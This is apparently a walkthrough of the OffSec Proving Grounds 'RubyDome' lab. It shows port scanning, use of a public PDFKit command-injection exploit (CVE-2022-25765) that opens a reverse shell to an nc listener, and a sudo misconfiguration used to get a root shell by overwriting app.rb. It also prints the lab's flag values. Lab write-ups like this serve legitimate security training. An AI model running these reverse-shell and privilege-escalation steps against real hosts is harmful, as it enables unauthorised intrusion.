OffSec

RubyDome: CVE-2022–25765 | PG Practice Walkthrough

TJ Null

[embed]Offensive Security Edit descriptionportal.offsec.com

OffSec Level:Easy

Community Rating:Intermediate

Number of Flags:2

OS:Linux

A. Enumeration

sudo nmap -sV -sC -p- 192.168.244.22 -vv -oN RubyDome.nmap --min-rate 20000

sudo : to prevent full TCP 3-Way Handshake

-sV : service version scan

-sC : default script scan

-p- : scan all 65535 ports

-vv : verbose output

-oN : save nmap scan

--min-rate : minimum number of packets send by the scanner

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
|   256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
3000/tcp open  http    syn-ack ttl 61 WEBrick httpd 1.7.0 (Ruby 3.0.2 (2021-07-07))
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: RubyDome HTML to PDF
|_http-server-header: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

-> PORT 22 : SSH, didn't have creds so no use.
-> PORT 3000: HTTP we saw that WEBrick httpd 1.7.0 a lightweight web server
was running which is a default web server when you start a new project in 
Ruby. 

So we found out that PDFKit tool was running on the webpage which asked for url and converts the URL into PDF. when i type https://www.google.com/ it is redirected to http://192.168.244.22:3000/pdf. The /pdf contains the contents of https://www.google.com/.

Fig 1. Webpage

B. Exploitation (Initial Foothold)

After doing fuzzing and other enumeration methods we discovered nothing so we searched for PDFKit on exploit-db using searchsploit tool.

searchsploit pdfkit

Fig 2. PDFKit exploit

as there was no other version exploits this is the only vector for initial foothold.

[embed]OffSec's Exploit Database Archive pdfkit v0.8.7.2 - Command Injection. CVE-2022-25765 . local exploit for Ruby platformwww.exploit-db.com

we downloaded the exploit and started the listener.

Fig 3. Exploit usage

python3 exploit.py -s 192.168.45.196 22 -w http://192.168.244.22:3000/pdf -p url

Fig 4. Executing exploit

firewall blocks commonly used ports for listener i.e. 4444,1234 so it is generally advised to start listener on non common ports

rlwrap nc -lvnp 4675

rlwrap : readline wrapper is a shortcut which gives arrow navigation, tab completion, persistent command history, etc.

nc : listener which waits for any incoming connection requests on a specific port

-l Listen mode

-p Specify the port number

-n Numeric only; no DNS resolution of hostnames

-v Verbose output, useful for debugging

Fig 5. Starting listener

After getting reverse shell we gained the shell as andrew user. The first thing to do after getting reverse shell is to upgrade our shell so it won’t break and i follow these 3 steps.

1. I always start listener in rlwrap
2. export TERM=xterm : Normal reverse shell using nc or python doesn’t give full terminal capabilities so nano, vim, clear, less, top don’t work and sometimes break the reverse shell.
3. alias ls=ls --color-auto : It gives color output by default which is easy on the eyes.

After all these i simple read the local.txt

local.txt

e044a2fd663c9ac9453bba6bc8fad649

C. Privilege Escalation

The first thing in my checklist for Privilege Escalation is to hunt for credentials. Normally credentials can be found in following places

1. Environment variables
2. History file
3. Configuration files of the application like PHP, Ruby
4. Service configuration files like Apache, Nginx etc
5. .htpasswd
6. Mail directory: /var/spool/mail
7. MySQL Database

But after check all this i found nothing so the second thing in my checklist is to check for SUDO misconfiguration

sudo -l

Fig 6. Checking for SUDO misconfiguration

and here we found out that user andrew can execute /usr/bin/ruby /home/andrew/app/app.rb with the permissions of ALL users including root without password. So it means that we can run this command as root and it won’t ask for password.

So the next thing to check is do we have writable permissions of /home/andrew/app/app.rb ?

ls -la /home/andrew/app/app.rb

Fig 7. Checking writable permissions

and YES we have writable permissions so we just need to spawn a shell using Ruby.

cat > /home/andrew/app/app.rb << EOF
> exec "/bin/sh"
> EOF

Fig 8. Editing app.rb using EOF

Now we just need to run /usr/bin/ruby /home/andrew/app/app.rb with sudo.

sudo /usr/bin/ruby /home/andrew/app/app.rb

Fig 9. Executing the app.rb using sudo

proof.txt

7742be046f8f1c268a531515ea11be67

If there is anything incorrect, feel free to point out.

Thanks.